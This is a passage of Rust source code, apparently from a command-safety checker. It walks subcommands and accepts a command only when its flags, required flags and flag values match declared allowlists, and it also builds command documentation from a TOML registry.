694 DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => Some(subs),
695 _ => None,
696 };
697 if let Some(subs) = subs_opt
698 && let Some(arg) = remaining.first()
699 && let Some(sub) = subs.iter().find(|s| s.name == arg.as_str())
700 {
701 return walk_to_eval_safe_leaf(
702 &remaining[1..],
703 &sub.kind,
704 sub.eval_safe,
705 &sub.eval_safe_flags,
706 &sub.eval_safe_flag_values,
707 &sub.eval_safe_required_flags,
708 );
709 }
710 if !eval_safe {
711 return false;
712 }
713 let mut i = 0;
714 let mut seen_required = false;
715 while i < remaining.len() {
716 let s = remaining[i].as_str();
717 if !s.starts_with('-') {
718 i += 1;
719 continue;
720 }
721 let (bare, eq_value) = match s.split_once('=') {
722 Some((k, v)) => (k, Some(v)),
723 None => (s, None),
724 };
725 if !eval_safe_flags.iter().any(|f| f == bare) {
726 return false;
727 }
728 if eval_safe_required_flags.iter().any(|f| f == bare) {
729 seen_required = true;
730 }
731 if let Some(allowed) = eval_safe_flag_values.get(bare) {
732 // Valued flag declared in eval_safe_flag_values. The value
733 // arrives either as `--flag=VALUE` (eq_value is Some) or as
734 // the next token (`--flag VALUE`); either way the walker
735 // consumes it because a flag in eval_safe_flag_values is
736 // structurally valued.
737 //
738 // `allowed` empty = explicit-unrestricted: contributor
739 // vetted that any bare-literal value preserves shell-init
740 // output. Non-empty = value must appear in the allowlist.
741 let value: &str = if let Some(v) = eq_value {
742 v
743 } else if let Some(next) = remaining.get(i + 1) {
744 let v = next.as_str();
745 i += 1;
746 v
747 } else {
748 return false;
749 };
750 // Empty value is denied even under the explicit-
751 // unrestricted (`= []`) posture: `--flag=` and an empty
752 // following token never represent a meaningful tool
753 // argument. The bare-literal alphabet check is per-char
754 // and vacuously passes empty strings, so the walker
755 // has to reject explicitly.
756 if value.is_empty() {
757 return false;
758 }
759 if !allowed.is_empty() && !allowed.iter().any(|av| av == value) {
760 return false;
761 }
762 }
763 i += 1;
764 }
765 if !eval_safe_required_flags.is_empty() && !seen_required {
766 return false;
767 }
768 true
769}
770
771pub fn toml_command_docs() -> Vec<crate::docs::CommandDoc> {
772 TOML_REGISTRY
773 .iter()
774 .filter(|(key, spec)| *key == &spec.name)
775 .map(|(_, spec)| spec.to_command_doc())
776 .collect()
777}
778
779#[cfg(test)]
780mod gate_consistency;
781#[cfg(test)]
782mod tests;